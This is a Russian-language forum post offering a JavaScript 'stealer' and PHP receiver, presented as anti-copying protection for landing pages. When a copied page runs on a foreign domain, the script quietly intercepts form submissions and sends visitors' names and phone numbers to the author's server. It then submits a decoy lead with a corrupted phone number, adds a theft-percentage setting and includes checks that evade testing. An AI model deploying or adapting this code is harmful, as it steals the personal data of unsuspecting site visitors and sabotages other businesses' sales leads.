- 20.06.2022
- 23 849
- 218
- 36
- Награды
- 10
- Пол
- Муж.
Репутация:
- Автор темы
- Администратор
- Модератор
- Команда форума
- #1
Скрипт для защиты Ваших лендингов от копирования.
Позволяет напрямую передавать лиды с копированного лендинга.
Фунционал скрипта:
Инпуты имени и номера должны быть с атрибутами name=”name” и name=”phone”.
Скрипт обработчика, получает данные с номером, именем и хостом с которого отправили лид:
Позволяет напрямую передавать лиды с копированного лендинга.
Фунционал скрипта:
- Несколько степеней проверки: проверка протокола, порта, реффера, кол-во заходов, домена;
- Регулировка % стила (от 1 до 100%);
- Работа на Ваших доменах не ведется;
- Обработка всех форм;
- Отправка жертве такой же лид с изменённой цифрой в номере телефона;
- Скрипт содержит множество комментариев для Ваших модификаций.
Инпуты имени и номера должны быть с атрибутами name=”name” и name=”phone”.
Код:
// Здесь укажите % срабатываний скрипта
const prc = 100
//Указываем путь к php файлу обработчику
const url = 'тут ссылка на обработчик'
//Указываем домен где будет находиться прокла/ленд
const originalHost = `ваш домен без https:// и /`
const checkedHost = window.location.host
const fullUrl = window.location.href
//запускаем скрипт
start()
function start() {
let userChek = checkUser()
//проверяем прошел ли юзер проверку
if (!userChek) return
let random = isRandom()
//проверяем попали ли мы в указанный %
if (random) stealer()
}
function stealer() {
//проверяем спизжен ли ленд
if (checkedHost == originalHost) return
let forms = document.querySelectorAll('form')
forms.forEach(element => {
element.addEventListener('submit', (e) => {
e.preventDefault()
let name = e.target.querySelector('[name="name"]').value
let phone = e.target.querySelector('[name="phone"]').value
//формируем данные для отправки
let data = {
host: fullUrl,
name: name,
phone: phone
}
//отправляем запрос
sendData(data)
.then(res => {
//Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем
var dupForm = e.target.cloneNode(true);
dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`
dupForm.style.display = 'none'
let body = document.querySelector('body')
body.append(dupForm)
dupForm.submit();
})
})
});
}
function isRandom() {
let rnd = Math.floor(Math.random() * 101)
if (rnd <= prc) return true
return false
}
function checkUser() {
//
// максимальное количество заходов при котором сработает скрипт
const AvalibleEntry = 2
let protocol = window.location.protocol
let port = window.location.port
let host = window.location.host
let reffer = document.referrer
let status = false
//проверяем зашел ли пользователь с http или https
if (protocol == 'http:' || protocol == 'https:') status = true
if (!status) return false
//проверяем есть ли порт у юзера
if (port != '') return false
//проверяем не запущен ли на сервере
if (host.includes('localhost') || host.includes('127.0.0.1')) return false
//проверяем на наличие рефера
if (reffer == '') return false
//определяем количество заходов конкретного юзера
let userCount = localStorage.getItem('count')
//если больше 2 не пропускаем
if (userCount >= AvalibleEntry) return false
//если меньше то определяем текущее значение и прибавляем + 1
userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)
return true
}
function sendData(propse) {
return fetch(url, {
method: 'post',
body: JSON.stringify(propse)
})
.then(response => response.json())
.then(json => (json))
.then(res => {
this.data = res
return res
})
}
Скрипт обработчика, получает данные с номером, именем и хостом с которого отправили лид:
Код:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: *");
$payload = file_get_contents('php://input');
$payload = json_decode($payload, true);
$phone = $payload['phone'];
$name = $payload['name'];
$url = $payload['host'];
?>
Последние темы в этом разделе:
- [Анна Блок] Типичный верстальщик - Супер Старт 2.0
- [Анна Блок] Базовый курс для верстальщиков
- [HTML Academy] HTML и CSS. Адаптивная вёрстка и автоматизация (2023)
- [Udemy] [Бауыржан Абдигалин] Создание многостраничного сайта на Wordpress с нуля (2024)
- [Dmitrii Fokeev] [Udemy] Верстка и создание веб сайтов - с нуля до результата! (2024)
- [HtmlAcademy] HTML и CSS. Профессиональная вёрстка сайтов.(2023)
- Инструкция по установке Скриптов Рулеток
- Как создать свой магазин в DarkWeb
- [Stepik] Курс по WordPress с нуля до результата. Создание сайтов без кода (2024)
- Слив сборник СКРИПТЫ И ЭФФЕКТЫ ПОД ТИЛЬДУ - ЗЕРО-БЛОК - cybergrish